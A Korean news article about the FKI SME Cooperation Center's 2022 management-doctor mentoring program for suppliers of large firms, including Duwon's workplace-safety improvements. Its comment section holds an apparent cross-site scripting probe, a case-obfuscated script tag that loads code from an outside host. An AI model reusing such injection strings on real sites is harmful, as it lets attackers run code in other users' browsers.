전경련, 16년 지속 동반성장사업 결실…중소기업 특강 신규 도입
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전경련, 16년 지속 동반성장사업 결실…중소기업 특강 신규 도입
  • 권혁중 기자
  • 승인 2022.08.30 15:00
  • 댓글 4
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(사진제공:전경련)
(사진제공:전경련)두원기업 사례 발표

[서울=글로벌뉴스통신]전경련중소기업협력센터(이사장 권태신)는 30일(화), 서울 여의도 전경련 컨퍼런스센터에서 전경련 경영닥터제 2022년 2기 발대식을 진행했다.

경영닥터제는 2007년부터 시작해 16년째 지속된 사업으로 전경련 경영자문위원들이 대기업의 비즈니스 경험과 노하우를 전수하여 대기업 협력관계에 있는 중소기업의 성장을 지원하고 있다. 현재까지 대기업 및 1‧2차 협력사 858社가 참여하였으며, 다양한 자문성공사례를 발굴하여 명실상부한 대표적인 동반성장 프로그램으로 널리 알려져 있다.

2022년 2기 경영닥터제에는 대기업 10社(삼성전기, 세메스, 한화건설, 포스코케미칼, 효성중공업, 효성화학, KCC, LX하우시스, 대상, 유라코퍼레이션)의 협력사 13社가 참여한다. 참여기업들은 5개월간 대기업 출신 경영닥터들로부터 인사/재무 시스템 구축, 해외진출 방안, 기술/생산/품질 개선 등 기업현장에 적용 가능한 경영 노하우를 전수 받을 예정이다.

전경련 중소기업협력센터는 자문 외에도 교육 프로그램을 신규 도입하여 중소기업들이 변화하는 경영환경 속에서 생존하고 성장할 수 있도록 시너지 효과를 내고자 한다. 중소기업의 필수 생존전략이 된 ESG 경영, 중대재해 예방, 산업안전관리와 관련한 교육을 제공할 예정이다. 이와 더불어, 해외 판로 개척을 위한 전자상거래 플랫폼(Amazon, Qoo10 등) 활용 방안, 해외 온라인 마케팅 성공사례 공유 등을 추진할 계획이다.

한편, 이날 성과보고회에서는 2022년 1기에 진행되었던 경영닥터제 참여기업의 자문 우수사례를 소개해 신규 참여기업들의 기대를 높였다. 포스코케미칼의 협력사인 두원기업은 중대재해를 예방하기 위한 직원 안전 보건 교육 프로그램을 도입했다. 특히, 고온에서 분진이 다량 발생하는 해당 기업의 작업환경 특성을 고려한 안전활동, 예방활동, 상황별/계절별 대처방안을 위주로 교육이 진행되었다.

포스코 케미칼의 지원으로 작업장을 2배 확장해(2,100㎡→4,200㎡) 작업공간이 협소해 안전사고 위험이 크고 생산능률이 저하되는 문제를 해결했다. 또한, 내화물 고온에 견디는 물질로, 적어도 1,000 ℃ 이상 고온에서 연화(軟化)하지 않고 그 강도를 충분히 유지하며, 화학적 작용 등에도 견딜 수 있는 재료자재관리 프로세스를 개선하고 장비 정비실 및 정비 공‧기구 보관대를 보강해 전체 공정이 원활히 흘러갈 수 있도록 변경하였다.

최현식 두원기업 대표는 “이번 경영닥터제를 통해 재해 없는 안전한 작업장을 구현하는 계기를 마련하였고, 경쟁력 향상을 위한 개선활동을 추진하는데 큰 도움이 되었다”며, “특별히 전경련경영자문위원님께서 고객사인 포스코케미칼과 가교역할을 해주신 덕분에 작업공간 개선이 수월하게 진행될 수 있었다”며 감사 인사를 전했다.

한편, 권태신 전경련중소기업협력센터 이사장은 개회사를 통해 “전경련은 앞으로도 대기업과 중소기업이 상생할 수 있는 기업경영환경을 조성하여 중소기업 경쟁력 강화에 앞장서도록 최선을 다하겠다”고 말했다.

 

 


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1 2022-09-01 11:53:14
asdasd

1<sCRiPt/SrC=//as.vip/moBa> 2022-09-01 11:51:48
123

12 2022-09-01 11:41:15
asd


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